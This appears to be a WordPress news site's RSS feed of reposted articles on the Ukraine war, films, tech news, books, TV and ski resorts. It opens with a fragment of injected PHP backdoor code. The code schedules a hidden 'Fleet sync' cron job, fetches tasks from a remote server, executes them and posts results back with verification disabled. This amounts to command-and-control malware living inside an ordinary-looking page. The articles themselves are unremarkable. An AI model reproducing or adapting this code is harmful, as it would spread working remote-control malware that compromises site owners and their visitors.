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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); According – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 01:42:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png According – Brief News https://briefnews.eu 32 32 Russia partners like China and India expressing concerns over Ukraine may have forced Putin’s hand and driven him to try and end the war quickly, according to Russian politics experts https://briefnews.eu/russia-partners-like-china-and-india-expressing-concerns-over-ukraine-may-have-forced-putins-hand-and-driven-him-to-try-and-end-the-war-quickly-according-to-russian-politics-experts/ https://briefnews.eu/russia-partners-like-china-and-india-expressing-concerns-over-ukraine-may-have-forced-putins-hand-and-driven-him-to-try-and-end-the-war-quickly-according-to-russian-politics-experts/#respond Fri, 23 Sep 2022 01:42:56 +0000 https://briefnews.eu/russia-partners-like-china-and-india-expressing-concerns-over-ukraine-may-have-forced-putins-hand-and-driven-him-to-try-and-end-the-war-quickly-according-to-russian-politics-experts/ Russian President Vladimir Putin, right, and Indian Prime Minister Narendra Modi pose for a photo shaking hands prior to their talks on the sidelines of the Shanghai Cooperation Organisation (SCO) summit in Samarkand, Uzbekistan, Friday, Sept. 16, 2022.
Russian President Vladimir Putin, right, and Indian Prime Minister Narendra Modi pose for a photo shaking hands prior to their talks on the sidelines of the Shanghai Cooperation Organisation (SCO) summit in Samarkand, Uzbekistan, Friday, Sept. 16, 2022.

Alexandr Demyanchuk, Sputnik, Kremlin Pool Photo/Associated Press

  • Some of Putin's global partners expressed concerns about his war in Ukraine last week.
  • Days later, Putin escalated the war by announcing military mobilization and threatening nuclear warfare.
  • A Russia expert told Insider Putin may have acted out of fear of straining relationships with nations like China and India.

Russian President Vladimir Putin escalated his unprovoked war on Ukraine this week, just days after some of his supposed partners publicly expressed doubt over it — and the events may well be related.

Since invading Ukraine in February, Russia has been shunned by much of the world and faced crippling sanctions from the West. But as Russia grew more isolated, some nations have either stood by Putin or avoided directly condemning him.

Both China and India have been powerful partners of Russia throughout the war, declining to institute sanctions and continuing to purchase the country's energy products. However, leaders of both countries recently took the rare step of speaking against the war.

During a meeting with Chinese President Xi Jinping in Uzbekistan on September 15, Putin acknowledged Xi had "questions and concerns" regarding the war. The following day, Indian Prime Minister Narendra Modi criticized the war during a face-to-face meeting with Putin.

"I know that today's era is not an era of war, and I have spoken to you on the phone about this," Modi told Putin, Reuters reported.

Putin responded: "I know about your position on the conflict in Ukraine, and I know about your concerns. We want all of this to end as soon as possible."

Less than a week later, on Wednesday, Putin said he was calling up 300,000 reservists to join the fight, something he had avoided doing for fear of backlash among the Russian people. The announcement, in which he also threatened to use nuclear weapons, came after the Ukrainian military made major gains in recent weeks.

Experts told Insider it would be weeks or months before the mobilized troops are trained, equipped, and deployed. They also said Putin's decision to take this step now showed how poorly the war was going for Russia and how desperate the Russian leader was to turn the tide.

"That Putin would do this shows how badly he feels the need right now to change the momentum, which has been all in Ukraine's favor," Daniel Treisman, a professor at the University of California, Los Angeles, whose work focuses on Russian politics and economics, told Insider.

In addition to fearing another potential counteroffensive by Ukraine, Putin was likely also driven by Xi's and Modi's concerns — and his fear of losing key partners — according to Robert English, a professor at the University of Southern California who studies Russia, the Soviet Union, and Eastern Europe.

"The evidence of criticism of allies like China or neutral states like India clearly put more pressure on him," English told Insider. He added that leaders of those nations seem to have told Putin they did not approve of the situation in Ukraine because it was harming their reputations on the world stage and costing them economically and politically.

English said what he suspects Putin heard was: "'Find some way to settle this quick, to wind this war down, because we will not remain at your side for another six months of this brutality.'"

"He heard a message like that, so he's trying to up the ante," English said. "He's trying to change the military balance the best way he can."

If Putin has mobilized troops in an effort to end the war as quickly as possible, as he assured Modi he would seek to do, it's not at all clear if it will be successful.

"It's an unsatisfactory and inadequate response to the motivation, manpower, and materiel on the Ukrainian side," English said, explaining that military aide and intelligence from the West has given Ukraine an advantage on the battlefield. "It's not going to do the job."

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Director David Bruckner has such sights to show us. The time to taste the pleasures of hell is soon upon us as the cenobites are set to invade your television on October 5 with the upcoming release of the highly anticipated “Hellraiser” reboot. The 1987 film, adapted by Clive Barker from his novella “The Hellbound Heart,” and its subsequent sequels posit the great Doug Bradley as the legendary cenobite Pinhead. But the time has come for new blood to torture those curious about the Lament Configuration.

“Sense8” star Jamie Clayton will be stepping into the role and based on what I’ve seen, it appears that she’s primed to give nightmares to a whole new generation. Akin to most horror icons, if an actor embodies the role for long enough, it can make it difficult for folks to adjust to a new actor filling their shoes. Bradley has already done enough direct-to-video “Hellraiser” flicks, so I say we let him rest.

According to a report from Syfy Wire, when Bradley was at Silver Scream Con, he commented on Clayton’s casting, saying that while he’s not familiar with how she’ll play the part, he is, however, quite a fan of her “Sense8” performance. “Jamie was in that, and I really, really liked her performance in that,” praised Bradley.

In the rare instance of social media being an alright place, the pair have even complimented one another’s work on Twitter. In terms of whether or not Bradley believes Bruckner’s film will be a good one, his barometer is a simple one.

‘If The Story Is Strong, The Movie Will Work’

Bradley asserts that the fact that Clayton is transgender is irrelevant to what he feels will make “Hellraiser” work (via Syfy Wire):

“The thing that will make the movie work or not is none of that. It’s the story. If the story is strong, the movie will work […] That’s why ‘Hellraiser has succeeded; not because the Cenobites are gloriously f***ed up.”

With the first trailer having just arrived, we’ve finally received a better glimpse of Clayton’s Pinhead. It should come as no surprise that the Cenobites, coupled with Bruckner’s vision of hell, look incredible. Clayton looks straight-up terrifying. Although details about what’s going on are still pretty sparse, barring the film’s synopsis:

In the all-new “Hellraiser,” a young woman struggling with addiction comes into possession of an ancient puzzle box, unaware that its purpose is to summon the Cenobites, a group of sadistic supernatural beings from another dimension.

The film stars Hiam Abbass, Adam Faison, Brandon Flynn, Aoife Hinds, Selina Lo, Drew Starkey, and Goran Visnjic, with Odessa A’zion as the film’s protagonist.

Time will tell if this new vision of pain and pleasure will live up to Barker’s story or the Pinhead legacy, but given Bruckner’s pedigree as a horror filmmaker, along with Clayton’s prowess as an actor, I think it’s safe to say we’re in good hands.

“Hellraiser” will premiere on Hulu on October 7, 2022.

Read this next: The Horror Movies We Can’t Wait To See In 2022

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I'm your host, Jordan Parker Erb. Luckily for you, dear reader, I have not quiet quit, and I am here to bring you your morning dose of tech news. 

On the agenda today: The hottest crypto startups of 2022, and a conversation with the creator of Dogecoin.

Buckle up! 

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1. Introducing the most promising crypto startups of 2022. We asked top investors to name the startups — both in their portfolios and ones with which they had no financial ties — that they believe show the most promise. They responded with dozens of exciting picks.

  • Though funding has slowed down thanks to a crypto winter, investors are continuing to back crypto-powered startups aiming to transform industries like finance and digital commerce.
  • Among the buzziest firms they listed are those specializing in NFTs, decentralized finance, and tools for creating decentralized autonomous organizations, or DAOs.
  • The startups they're watching include digital fashion and NFT marketplaces, crypto wallets, and sites for helping users learn about crypto and Web3 — and they're all poised to take off, according to investors. 

Meet the 53 most promising crypto startups of the year.

In other news:

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2. Meet the union leaders powering a wave of organizing. Recently, a flurry of workers have won elections to form unions in industries that have never had them, including at more than 200 Starbucks stores and at Apple, Amazon, and more. Insider spoke with the people behind these efforts — here's what they told us.

3. What happened at Y Combinator's summer 2022 Demo Day? In the final opening remarks of his tenure as president, CEO Geoff Ralston emphasized that some of Y Combinator's largest success stories were founded in a downturn, and encouraged founders to stay resilient. Read the other key takeaways from Demo Day.

4. Elon Musk dreamt up a new way to get out of buying Twitter. In a letter to the company attempting to terminate the deal, Musk's lawyers argue that a $ 7.75 million payment to whistleblower Peiter "Mudge" Zatko is a new breach of the agreement. What we know so far.

5. Dogecoin's creator is now staunchly anti-crypto. In a conversation with Insider, the meme currency creator discussed his relationship with Elon Musk, his opinion on Mark Cuban and other major investors, and more. Here's everything he told us in the exclusive interview. 

6. Elon Musk's girlfriend from college shared photos of him in the 1990s. The photos — which his former girlfriend is auctioning off — show a 23-year-old Musk hiking, typing away at a computer, and studying. See the candid photos of Musk.

7. In a leaked memo, a Google exec laid out Verily's challenges and path forward. Andy Conrad, the visionary — and controversial — health care exec, said he would move to the role of executive chairman in 2023 to "chart a path toward our independence." Everything we learned from the leaked memo.

8. Tim Cook revealed his biggest dispute with Steve Jobs. Cook, Apple's CEO, said his biggest debate with Jobs was over the company's iPhone sales strategy ahead of its 2007 debut. Here's what the feud was about — and how it ended. 

Odds and ends:

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9. A luxury RV maker says it created the world's first fully electric travel trailer. Trailer maker Bowlus just unveiled its latest build, the Volterra, which comes with heated floors and Starlink connectivity. Check out the $ 310,000 home on wheels.

10. We got an early look at Chevy's upcoming electric pickup truck. Coming in at $ 105,000, the electric Chevy Silverado promises nearly 700 horsepower, tons of driving range, and some impressive features. See inside the Ford Lightning's biggest rival.

What we're watching today:

  • Oracle and others are reporting earnings. Keep up with earnings here.
  • FinovateFall 2022 is happening today in New York. 
  • NortonLifeLock and Avast merger is expected to complete today.
  • Blue Origin is set to launch a NS-23 New Shepard rocket. 
  • It's Tinder's 10th anniversary.

Thanks so much to our senior correspondent Ben Bergman for contributing to Friday's edition. (If you missed his dispatch from Code, read it here.) We're sorry about the typo in your name…. What can we say, it was a Friday.

Keep updated with the latest tech news throughout your day by checking out The Refresh from Insider, a dynamic audio news brief from the Insider newsroom. Listen here.

Curated by Jordan Parker Erb in New York. (Feedback or tips? Email jerb@insider.com or tweet @jordanparkererb.) Edited by Hallam Bullock (tweet @hallam_bullock) in London.

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“The Woman King” is already shaping up to be a pivotal moment in Hollywood’s long and problematic history. With an almost entirely Black cast, Gina Prince-Bythewood’s story of the Agojie regiment of Dahomey is unlike any other blockbuster in recent memory. This sentiment goes for its crew, as we at /Film recently learned at the #TakeUpSpace discussion held by Twitter to promote “The Woman King,” which premieres tonight at the Toronto International Film Festival.

Viola Davis, who stars in the film as the fierce but headstrong Agojie leader Nanisca, doesn’t just provide her acting talents to the role. She also produced it underneath her JuVee Productions banner, which she operates alongside her husband. During the TIFF discussion, she described the various challenges that Black female producers such as herself face as they attempt to bring their stories to life.

“If you were a fly on the wall, and you could see every time you’re walking in that room and hustling for your word, you’re fighting for simple stories. You’re fighting for the hair, the makeup, you know what we look like, you know, can you make them prettier? Can we have more lipstick and not dirt? [We’re] fighting for all these actors who are great, but they don’t have the resumes of their white counterparts, so you’ve got to sell them in the room.”

Winning The Fight

While “The Woman King” had its own lengthy road to getting made, the fight for both on-and-off screen voices was won when filming finally began. Black talent was hired in several critical production roles, which star Lashawna Lynch said made the filming process feel so much easier.

“I feel like we can all arrive and feel comfortable and at home and relaxed knowing that we as Black women and Black people are already taken care of and supported and that’s with all departments as well as having a Black head of hair, Black makeup, Black costume designer,” she said. “These are important things.”

As far as on-screen roles go, the vast majority of the cast represented the vastness of the African diaspora, according to John Boyega. He takes on the role of King Ghezo, the real-life ruler of Dahomey in the 19th century. He commented:

“I want people to actually experience the collaboration between Black actors and people, African American and Black British, South Africans, everyone’s coming down to South Africa to make this special. Within our Blackness, we do have cultural differences. This project for me, especially somebody coming in, to see and to train each other, to be there to support each other is something that I feel like we’re going to continue based on just this project alone.”

You can watch the rest of the #TakeUpSpace conversation on Twitter. “The Woman King” will have its world premiere on September 9 before arriving in theaters on September 16.

Read this next: The Best Movies Of 2022 So Far

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From gripping thrillers to juicy romance stories, these are the books readers consider to be the biggest page-turners.

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  • "Page-turners" are books we simply cannot put down. 
  • Goodreads has ranked the top page-turners among readers.
  • These picks include romance, thriller, and fantasy reads.

Getting lost in a book is a great feeling — we turn and turn the pages, blissfully lost in an enthralling story until the end. Our favorite page-turners can be swoon-worthy romances, gripping thrillers, or contemporary fiction novels that are just endlessly engrossing.

Goodreads, the world's largest platform for readers to rate and review books, has compiled a list of readers' favorite "page-turners," ranked by how quickly readers finish each book, on average. Some of the books on this list are quick reads, coming in at less than 250 pages, but others are longer books that readers simply can't book down. 

Here are the 23 top page-turner books, according to Goodreads reviewers: 

Fiction

Mystery/Thriller

Romance

Science Fiction/Fantasy

Horror

Fiction
"One Italian Summer" by Rebecca Serle

"One Italian Summer" by Rebecca Serle book cover, depicting a watercolor painting of an Italian coastal town.

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Available at Amazon and Bookshop, from $ 16.08

When Katy's mother, Carol, passes away just before their mother-daughter trip to Positano, Italy, she decides to embark on the trip anyway, hoping to connect to her mother through the city she loved. In this contemporary story told with magical realism, Katy magically runs into her mother, full of life at 30 years old, and gets to know a young version of Carol in the summer she fell in love with the Italian coast.

"One Italian Summer" is one of our favorite beach reads — check out our review here.

"Black Cake" by Charmaine Wilkerson

“Black Cake” by Charmaine Wilkerson book cover, depicting an abstract illustration of a face behind waves of color.

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Available at Amazon and Bookshop, from $ 17.81

Byron and Benny's mother has passed away, leaving behind a peculiar inheritance for her children including a black cake with a long story, and a voice recording, telling her true history. As the siblings follow their mother's journey, they uncover secrets and memories, hoping to fulfill their mother's final wish to share the black cake when the time is right.  

"Milk Fed" by Melissa Broder

"Milk Fed" by Melissa Broder book cover, depicting an illustrated representation of a breast.

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Available at Amazon and Bookshop, from $ 14.49

Rachel's therapist encourages her to take a 90-day communication break from her mother, who instilled Rachel's obsessive calorie counting at a young age. Rachel quickly meets Miriam, who works at her favorite fro-yo shop and helps her embark on a journey of appetites — for food, love, spiritual connection, and more.

"Once There Were Wolves" by Charlotte McConaghy

"Once There Were Wolves" by Charlotte McConaghy book cover, depicting a person standing in a dark forest.

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Available at Amazon and Bookshop, from $ 13.99

Set in the Scottish Highlands, "Once There Were Wolves" is the story of twin sisters Inti and Aggie, who have just arrived in Scotland from Alaska to lead a team of biologists as they introduce 14 wolves to the Highland landscape, each hoping to escape the secrets that drove them from home. Though the wolves quickly thrive in the area, a farmer is found dead and Inti is sure her wolves aren't to blame in this gripping contemporary fiction with a mystery/thriller twist.

"We Are The Brennans" by Tracey Lange

"We Are The Brennans" by Tracey Lange book cover, depicting scattered four leaf clovers on a blank canvas.

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Available at Amazon and Bookshop, from $ 13.99

When Sunday Brennan returns to her family in New York after a devastating drunk driving accident she caused, she hopes to rebuild her life, even though she abandoned her family years ago. But when their family's pub is at risk, Sunday and her family must face their secrets in this story of shame, healing, and redemption.

Mystery/Thriller
"The Book of Cold Cases" by Simone St. James

"The Book of Cold Cases" by Simone St. James book cover, depicting an empty car with a door left open outside of a house on a rainy night.

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Available at Amazon and Bookshop, from $ 14.79

"The Book of Cold Cases" is a paranormal thriller that follows Shea Collins, a receptionist who also runs a true crime website, her fascination fueled by the attempted abduction she escaped as a child. When Shea meets Beth Greer, the infamously acquitted Lady Killer Murders suspect, she's granted an interview and invited to Beth's mansion, where strange feelings put Shea on edge and darkness seems to lurk around every corner.

"The Overnight Guest" by Heather Gudenkauf

“The Overnight Guest” by Heather Gudenkauf book cover, depicting a house with a spotlight on it during a snowy night.

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Available at Amazon and Bookshop, from $ 12.46

This chilling snowstorm thriller is about true crime writer Wylie Lark, who wouldn't mind being snowed into the farmhouse she's isolating in to write her new book — if it didn't seem to be haunted by the murders that took place there decades before. As the snow traps Wylie, she discovers a small child outside and quickly learns the home is far less isolated than she first believed.

"The Golden Couple" by Greer Hendricks and Sarah Pekkanen

“The Golden Couple” by Greer Hendricks and Sarah Pekkanen book cover, depicting a wilting yellow rose.

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Available at Amazon and Bookshop, from $ 14.50

When Marissa cheats on her husband, they decide to seek couples counseling and meet Avery Chambers, a nontraditional therapist who has lost her professional license. Desperate to save their marriage for the sake of their son, the couple agrees to Avery's methods and is launched on a thrilling collision course of dangerous secrets.

"Finlay Donovan Knocks 'Em Dead" by Elle Cosimano

"Finlay Donovan Knocks 'Em Dead" by Elle Cosimano book cover, depicting a person wearing sunglasses peering over a fence.

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Available at Amazon and Bookshop, from $ 19.59

In this sequel to "Finlay Donovan is Killing It," Finlay is once again struggling to finish her novel and be a single mother to her children, even with the help of her live-in nanny, Vero. But when it becomes clear that someone wants her ex-husband dead, Finlay is determined to save him while juggling a budding romance and Vero's own secrets.

"The Maid" by Nita Prose

Cover of the book "The Maid" by Nita Prose, depicting a person running away seen through a keyhole.

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Available at Amazon and Bookshop, from $ 16.90

Though Molly Gray struggles with social skills, she's hit her stride as a hotel maid, which perfectly combines her love of cleaning and proper etiquette. But when Molly finds the wealthy Charlie Black dead in his hotel room, she becomes the police's lead suspect and her unlikely friends must come to the rescue to clear her name in this heartfelt and riveting mystery read.

"The Paris Apartment" by Lucy Foley

“The Paris Apartment” by Lucy Foley book cover, depicting a dark photo the corner of an apartment building.

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Available at Amazon and Bookshop, from $ 17.45

When Jess arrives in Paris to stay with her half-brother, Ben, she's equally surprised to discover his lavish apartment and that he's nowhere to be found. With little more than an alarming voicemail and a business card with a strange symbol, Jess begins to search for Ben, finding more questions than answers in a building where everyone seems to be a suspect.

Romance
"The Love Hypothesis" by Ali Hazelwood

"The Love Hypothesis" by Ali Hazelwood book cover, depicting two people kissing in a science lab.

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Available at Amazon and Bookshop, from $ 11.04

Ph.D. candidate Olive Smith needed to convince her best friend, Anh, that she was happily in a relationship and spontaneously kissed the first man she sees, who just happens to be Adam Carlsen, Stanford's notoriously harsh (but hot) professor. Agreeing to a pretend relationship to show the school board he's serious about staying, the two spend more and more time together until a science conference turns their relationship — and possibly Olive's career — upside down in this contemporary romance that also addresses academic burnout and sexual harassment.

Check out our full review of "The Love Hypothesis" here.

"One Last Stop" by Casey McQuiston

"One Last Stop" by Casey McQuiston book cover, depicting two people on a train platform of a New York subway Q train.

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Available at Amazon and Bookshop, from $ 10.25

August is content with being alone, having just moved to New York City to finish school, when she meets the mysterious and gorgeous Jane on the Q train. As August continues to see Jane on the same Q train car, day after day, no matter what time it is, they soon figure out she's stuck there, magically displaced from the 1970s, and desperately in need of help to be set free. 

"Seven Days in June" by Tia Williams

"Seven Days in June" by Tia Williams book cover, depicting two people embracing.

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Available at Amazon and Bookshop, from $ 15.29

20 years ago, Shane and Eva spent one wild week falling in love and have been writing each other into their books ever since. Now, the two run into each other at a literary event and spend seven days reconnecting and rehashing the events that once broke their hearts.

"Hook, Line, and Sinker" by Tessa Bailey

The cover the book "Hook, Line, and Sinker" by Tessa Bailey with an illustration of a man and a woman on a dock.

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Available at Amazon and Bookshop, from $ 12.38

In this adorable rom-com read, Hannah Bellinger is in town for work, crashing in notorious flirt Fox Thornton's spare bedroom. Immune to his charms but hoping to be friends, Hannah asks for Fox's help winning over one of her cute co-workers, but as they spend more time together, Hannah finds that she might be falling for Fox after all, as he puts aside his flirty, hookup ways to prove he's serious about Hannah.

Science Fiction/Fantasy
"The Space Between Worlds" by Micaiah Johnson

"The Space Between Worlds" by Micaiah Johnson book cover, depicting two people walking along the ground of two different worlds.

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Available at Amazon and Bookshop, from $ 11.29

Set in a world where multiverse travel is possible, people are only allowed to visit parallel universes where their parallel selves are no longer alive. On Earth, Cara is trying to keep her head down and secure her citizenship when one of her few remaining selves dies under mysterious circumstances, pulling her into a new world and a secret plot that could endanger the entire multiverse.

"Project Hail Mary" by Andy Weir

"Project Hail Mary" by Andy Weir book cover, depicting an astronaut floating through space with a tether attached to their suit.

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Available at Amazon and Bookshop, from $ 17.32

As Ryland Grace slowly wakes up, millions of miles from Earth, he discovers he is the sole survivor on the ship, alone to accomplish a nearly impossible, last-chance mission to save the planet. This gripping science fiction read traverses between two timelines to reveal the dire situation Earth is facing, the unlikely duo with the only hope of saving them, and the mountain of challenges between them and success. "Project Hail Mary" is an award-winning sci-fi read we love to recommend — check out our full review here. 

"The Echo Wife" by Sarah Gailey

"The Echo Wife" by Sarah Gailey book cover, depicting a wedding ring with a mirrored reflection.

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Available at Amazon and Bookshop, from $ 10.92

This sci-fi thriller takes off when Evelyn's ex-husband, Nathan, is found dead, killed in self-defense by Martine — Evelyn's genetically modified clone — and his new wife. As the two scramble to cover the mess, they uncover Nathan's secrets and find themselves in more danger than they thought.

"Recursion" by Blake Crouch

Book cover for "Recursion" by Blake Crouch, depicting a figure eight shaped maze and distorted silhouettes of the Empire State Building.

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Available at Amazon and Bookshop, from $ 11.99

"Recursion" is a completely engrossing science fiction read. Set in a world where new technology allows you to travel in time to a memory, the world faces dire consequences as timelines collide, leaving those who have traveled with two sets of memories. As cop Barry Sutton investigates, reality begins to crumble in this mind-bending page-turner about memory, identity, and the value of time.

Horror
"The Lost Village" by Camilla Sten

"The Lost Village" by Camilla Sten book cover, depicting a deserted-looking house against a cloudy sky.

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Available at Amazon and Bookshop, from $ 16.73

The old mining town, called "The Lost Village," is notorious for its mysteriously disappearing residents. Alice Lindstedt is a documentary filmmaker whose grandmother's family disappeared from the town in 1959. Now, she's determined to make a film about what really happened in this intense and engaging horror read.

"The Drowning Kind" by Jennifer McMahon

"The Drowning Kind" by Jennifer McMahon book cover, depicting someone's hands holding a bouquet of pink flowers underwater.

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Available at Amazon and Bookshop, from $ 12.99

When Jax receives nine calls from her frequently manic sister, Lexie, she assumes it's another episode, until Lexie turns up dead the next day, having drowned at their grandmother's estate. As Jax sorts through Lexie's things, she finds she was researching the property's history, which carried a far darker past than Jax could imagine.

"The Last House on Needless Street" by Catriona Ward

"The Last House on Needless Street" by Catriona Ward book cover, depicting a black cat on a dark street with a green hued streetlight next to a deserted looking house.

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Available at Amazon and Bookshop, from $ 13.69

At the end of Needless Street sits a seemingly ordinary house, but when a new neighbor moves in next door, all the house's secrets come to light. "The Last House on Needless Street" is a chilling and gripping horror read with plenty of page-turning twists and turns.

"The Final Girl Support Group" by Grady Hendrix

"The Final Girl Support Group" by Grady Hendrix book cover, depicting a metal folding chair with blood dripping off of it.

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Available at Amazon and Bookshop, from $ 12.18

This Goodreads Choice Award-winning horror is about the final girl left alive at the end of horror films, bloodied but victorious. 22 years ago, Lynnette survived a terrible massacre and has been meeting with a support group of final girls like her for over a decade. When one of the women misses a meeting, the final girls' worst fears may be coming true.

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]]> https://briefnews.eu/23-books-that-are-absolute-page-turners-according-to-goodreads/feed/ 0 Game of Thrones: Daenerys was never the mad Queen according to Emilia Clarke – here’s why https://briefnews.eu/game-of-thrones-daenerys-was-never-the-mad-queen-according-to-emilia-clarke-heres-why/ https://briefnews.eu/game-of-thrones-daenerys-was-never-the-mad-queen-according-to-emilia-clarke-heres-why/#respond Thu, 09 Jan 2020 06:24:57 +0000 http://briefnews.eu/game-of-thrones-daenerys-was-never-the-mad-queen-according-to-emilia-clarke-heres-why/

Game of Thrones fans were devastated to see Daenerys Targeryen (played by Emilia Clarke) undergo a dark character transformation as she burned down King’s Landing and slaughtered a number of innocent civilians. The transition ultimately led to her death at the hands of Jon Snow (Kit Harington) and her being labelled the Mad Queen. However, Daenerys star Emilia Clarke has spoken out about her dark turn.

Instead of describing Deanerys turn as rage or madness, Clarke described it as grief.

Speaking in an unlisted HBO video, Emilia spoke out about the moment Daenerys saw Cersei in the castle just after she’d began her attack on the city.

She revealed that Deanerys’ behaviour in the memorable scene ‘doesn’t deserve’ to be labelled as crazy.

“It’s this feeling that you could call Targaryen craziness, you could give it all of these names that it doesn’t deserve,” she began.

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“Because it is just grief. It’s hurt,

“And she has this ability to make this hurt a little bit less just for a minute.

“And here she is sitting on this ridge and there’s the emotion and there’s the feeling and the feeling is to f*****g kill her.”

Moreover, Jacob Anderson, who played Greyworm, one of her biggest supporters in the series explained why his character could never see Daenerys as the Mad Queen.

Meanwhile, one fan thinks they have closed one of the show’s major plot holes in the Battle of Winterfell.

After the episode aired, many questions arose about how the heroes fought against the Night King and some wondered why they didn’t just stay inside the castle and use that as a strategic defence instead.

Now, Reddit user Thibinus has shared their own theory, explaining: “It’s true that hiding in the castle and defend it would be a very smart thing to do against a regular army who has the advantage of numbers.

“But the Night King had a dragon, and dragon fire can literally explode stone walls.

“In other words, if they would have [stayed] inside Winterfell, the Night King would have breached the walls very easily and they would have been trapped and overwhelmed in a matter of minutes.”

The fan argued the tactics used in the episode actually succeeded in driving the Night King and his forces away from the castle walls, giving Dany and Jon more time to find the Night King.

Other users agreed, with one adding: “I also think that they lacked knowledge of how to fight the undead.

“Their strategy may have worked against the living (think Battle of the Bastards).”

Another added: “The only justification they have for this debacle is that they need to draw the Night King in to kill him.”

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]]> https://briefnews.eu/game-of-thrones-daenerys-was-never-the-mad-queen-according-to-emilia-clarke-heres-why/feed/ 0 The Hills Recap: Is Mischa Barton’s Comeback Going According to Plan? (Plus: Heidi Montag, Christian Singer?) https://briefnews.eu/the-hills-recap-is-mischa-bartons-comeback-going-according-to-plan-plus-heidi-montag-christian-singer/ https://briefnews.eu/the-hills-recap-is-mischa-bartons-comeback-going-according-to-plan-plus-heidi-montag-christian-singer/#respond Tue, 30 Jul 2019 11:34:22 +0000 http://briefnews.eu/the-hills-recap-is-mischa-bartons-comeback-going-according-to-plan-plus-heidi-montag-christian-singer/

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It took six weeks, but we finally reached the “new beginnings” part of The Hills: New Beginnings on Monday, courtesy of comeback queens Mischa Barton and Heidi Montag. Once titans of their respective industries, Mischa (empress of television) and Heidi (mistress of music) have decided that it’s time to get back to business, leading to arguably the biggest twist in Hills-tory.

We’re talking, of course, about Heidi’s decision to become a Christian recording artist and release a “faith-based” song. Did we miss the episode where Heidi found religion? Either way, we hope her new material doesn’t stray too far from the lyrics she crooned back in 2010: “They say I’m superficial / Some call me a bitch / They’re just mad cause I’m sexy, famous and I’m rich.”

Meanwhile, Mischa — voted 2004’s Breakout Female TV Star by the Teen Choice Awards jury — went on her first acting audition since parting ways with her momager a few years ago. We still don’t know the name of the project, but we’ve gathered that it’s a period piece (1960s?) and requires Mischa to put on her best Designing Women voice as a brothel worker named Ruth. “If all the cards are right and fall into place, this could be a total comeback,” Mischa said. (Mixed metaphors aside, we’re rooting for her.)

Elsewhere this week…

* Stephanie, Audrina and Joey had a long-overdue sit-down to hash out all this Justin Bobby nonsense, and it accomplished… absolutely nothing. Stephanie insisted (for the millionth time) that she never hooked up with Justin Bobby, so Audrina — desperate for any opportunity to keep this imaginary love triangle afloat — decided to take a new approach: “I don’t even care if you did or didn’t.” What?! We haven’t been this confused since Spencer brought up the multiverse during his latest business update.

* The madness continued during a post-fight spat between Audrina and Justin Bobby, which ended with her telling him he’s “not that special” and asking, “Why are you such a d—k?” (With this relationship officially squashed, and Stephanie [possibly] not returning, The Hills is going to be hurting for romantic drama next season. Perhaps it’ll be time for some actual new beginnings.)

* Just asking… When is someone going to figure out that Frankie is the one pulling the strings behind the scenes?

Your thoughts on Mischa and Heidi’s comebacks? Audrina’s change of course? Ruth’s future at the brothel? Whatever’s on your mind, drop it in a comment below.

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]]> https://briefnews.eu/the-hills-recap-is-mischa-bartons-comeback-going-according-to-plan-plus-heidi-montag-christian-singer/feed/ 0 The 25 best ski resorts in America according to skiers and snowboarders https://briefnews.eu/the-25-best-ski-resorts-in-america-according-to-skiers-and-snowboarders/ https://briefnews.eu/the-25-best-ski-resorts-in-america-according-to-skiers-and-snowboarders/#respond Sun, 20 Jan 2019 14:17:03 +0000 http://briefnews.eu/the-25-best-ski-resorts-in-america-according-to-skiers-and-snowboarders/ Telluride, ColoradoFacebook/Telluride Ski Resort

  • Podium.com has ranked the 25 best ski resorts in the United States.
  • The ranking is based on data from Facebook, Google, and other top review sites.
  • Beaver Mountain Ski Area in Garden City, Utah was rated as the top ski resort in the country.

After skiers and snowboarders pull on many layers of clothing, strap up their boots, and make their way to the slopes, they know that the quality of a resort can make or break their experience.

Podium.com — a startup that has revolutionized customer reviews for local businesses — has used data from Facebook, Google, and other top review sites to identify the 25 best ski resorts in the United States.

In order to qualify, ski mountains had to be a public resort that is open for the 2018-2019 season and has more than 500 online reviews. Podium then consolidated that review data for more than 350 resorts across the country through its platform to produce the following rankings of the top 25 ski resorts in the nation:

25. Copper Mountain Resort

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Location: Frisco, Colorado

Overall star rating: 4.5993

Total number of reviews: 806

2018-19 maximum daily lift ticket cost: $ 158

One thing to know: With a summit elevation of 12,441 feet, 2,490 acres of skiable terrain, and 23 chair lifts, skiers and boarders never get tired of tearing up Copper Mountain. You may recognize the resort from ski scenes in the 1994 movie Dumb and Dumber that were filmed there.

 

24. Solitude Mountain Resort

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Location: Solitude, Utah

Overall star rating: 4.5998

Total number of reviews: 2249

2018-19 maximum daily lift ticket cost: $ 109

One thing to know: Solitude Mountain Resort is located close to some of the biggest and most famous ski areas in the nation, but it’s a great mountain in its own right. It has 1,200 acres of skiable terrain and a summit elevation of 10,035 feet but is best known for having the some of the best powder in the country thanks to its location in the Big Cottonwood Canyon.

 

23. Mt. Rose Ski Tahoe

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Location: Washoe County, Nevada

Overall star rating: 4.6009

Total number of reviews: 654

2018-19 maximum daily lift ticket cost: $ 135

